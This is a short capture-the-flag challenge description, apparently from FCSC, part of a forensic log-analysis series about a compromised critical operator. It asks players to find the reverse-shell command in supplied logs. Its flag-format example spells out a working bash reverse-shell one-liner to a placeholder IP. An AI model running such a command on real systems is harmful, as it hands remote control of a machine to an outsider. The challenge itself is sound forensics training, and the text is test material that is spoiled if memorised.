SOCrate 2/6 - Reverse shell

Description

In June 2023, an operator of vital importance falls victim to an attack that compromises its entire information system. You received the Linux and Windows logs and must answer the investigators’ questions.

This challenge is part of a serie. The parts are numbered in the chronological order of the attack, but it is not necessary to solve them in order :

• SOCrate 1/6 - Technologie
• SOCrate 2/6 - Reverse shell
• SOCrate 3/6 - Outil téléchargé
• SOCrate 4/6 - Latéralisation
• SOCrate 5/6 - Vol de clés
• SOCrate 6/6 - Outil utilisé

The attacker executed a reverse shell on a machine. Find the command corresponding to the execution of this reverse shell.

Flag format: FCSC{COMAND_LINE}

Example: FCSC{bash -i >& /dev/tcp/10.42.43.44/1234 0>&1}